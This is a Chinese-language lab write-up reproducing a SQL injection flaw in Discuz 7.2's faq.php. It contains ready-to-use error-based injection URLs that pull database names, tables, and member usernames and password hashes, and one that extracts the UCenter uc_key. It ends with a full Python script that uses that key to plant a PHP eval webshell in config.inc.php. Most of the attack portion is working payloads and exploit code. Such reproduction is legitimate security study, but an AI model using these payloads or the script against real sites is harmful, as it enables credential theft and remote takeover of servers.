0x01 实验准备
实验原理:
Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。
实验工具:
实验环境:
- 安装 Discuz 网站的服务器(Windows)
- 安装 python 环境的攻击机
0x01 实验步骤
一、搭建环境
1. 安装UCenter
通过 http://192.168.88.129/dz7.2/upload/install/index.php 页面安装:
出现错误:
将UCenter文件放置在dz7.2文件夹下,访问http://192.168.88.129/dz7.2/UCenter/upload/install/index.php:
安装UCenter成功:
2. 安装Discuz
通过 UCenter 页面安装Discuz:
根据实际情况填写数据库等信息后,安装成功会自动跳转:
二、SQL注入漏洞复现
1. 漏洞形成原因
代码:
faq.php文件在 upload 文件夹下:
$query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");
discuz在全局会对GET数组进行addslashes转义,会将 ’ 转义成 ’ 。
当传入的参数是:gids[1]='
,会被转义成 gids[1]=\'
。
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
赋值语句 $groupids[] = $row[0]
就相当于取了字符串的第一个字符
\
,所以把转义符号取出来了。
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}
此函数在 \include\global.func.php
将数据放入sql语句前,用 implodeids
处理过一次。implodeids函数是将$groupids
数组用','
分割开,组成一个类似于 ‘1’,‘2’,‘3’,‘4’ 的字符串返回。
由于刚取出一个转义符,会将正常的 '
转义后为:'1','\','3','4'
第4个单引号被转义了,所以第5个单引号和第3个单引号形成了闭合。位置3就等于逃逸成功,形成注入。
通过提交 faq.php?gids[uid1]='&gids[uid2][0]=evilcode
,这样的构造形式语句可以突破GPC或类似的安全处理,形成SQL注入漏洞。
注意:uid1和uid2 > 网站注册用户id
且 uid1与uid2不能相等
。
2.漏洞利用
(1)查询当前数据库/MySQL用户信息:
faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
若查询MySQL用户信息,修改 database() 为 user()
(2)利用 information_schame 查询库:
faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select concat(schema_name,0x7e) from information_schema.schemata limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
若查询下个数据库,修改 from information_schema.schemata limit 0,1 中的 0
(3)查询列:
faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e)x from information_schema.tables group by x)a) --+
若查询下一个列,修改 from information_schema.tables where table_schema=database() limit 0,1 中的 0
(4)查询 cdb_members 表的 username 和 password 数据(网站注册用户的账号密码):
faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
若查询下一行数据,修改 from cdb_members limit 0,1 中的 0
(5)跨库获取uc_key(利用key写入配置文件config.inc.php getshell):
faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat((select (select (select substr(authkey,1,66) from ucenter.uc_applications limit 0,1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
若查询下一行数据,修改 from uc_applications limit 0,1 中的 0
3.利用uc_key写入配置文件getshell
**原理:**过滤存在问题,导致在提交配置文件的时候,把一句话木马写入配置文件中。执行成功以后,会在根目录的config.inc.php文件中写入一句话木马。
使用命令: python xxx.py http://xxxx uc_key值
第一个参数是网站根路径,第二个参数是uc_key值。
python脚本:
#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
'''
发送命令获取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "访问出错"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config.inc.php,password:1"
if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)
执行成功:
执行成功后,config.inc.php文件被修改为: